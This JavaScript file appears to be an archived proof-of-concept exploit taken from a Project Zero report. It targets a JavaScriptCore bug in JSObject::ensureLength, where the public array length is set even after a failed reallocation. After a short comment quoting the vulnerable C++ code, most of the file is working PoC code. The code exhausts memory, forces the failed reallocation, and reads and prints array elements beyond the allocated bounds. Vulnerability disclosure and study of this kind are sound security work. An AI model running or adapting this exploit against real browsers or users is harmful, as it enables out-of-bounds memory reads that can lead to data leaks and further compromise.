53 lines
No EOL
1.3 KiB
JavaScript
53 lines
No EOL
1.3 KiB
JavaScript
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165
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Here's a snippet of JSObject::ensureLength.
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bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
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{
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ASSERT(length < MAX_ARRAY_INDEX);
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ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));
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bool result = true;
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if (m_butterfly.get()->vectorLength() < length)
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result = ensureLengthSlow(vm, length);
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if (m_butterfly.get()->publicLength() < length)
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m_butterfly.get()->setPublicLength(length);
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return result;
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}
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|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.
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Tested on Linux.
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PoC:
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*/
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const kArrayLength = 0x200000;
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let arr = new Array(kArrayLength);
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arr.fill({});
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let exh = [];
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try {
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for (;;) {
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exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
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}
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} catch (e) {
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}
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try {
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arr.length *= 8;
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print('failed');
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} catch (e) {
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print(e);
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exh = null;
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print('arr length: ' + arr.length.toString(16));
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for (let i = kArrayLength, n = arr.length; i < n; i++) {
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if (arr[i])
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print(arr[i]);
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}
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} |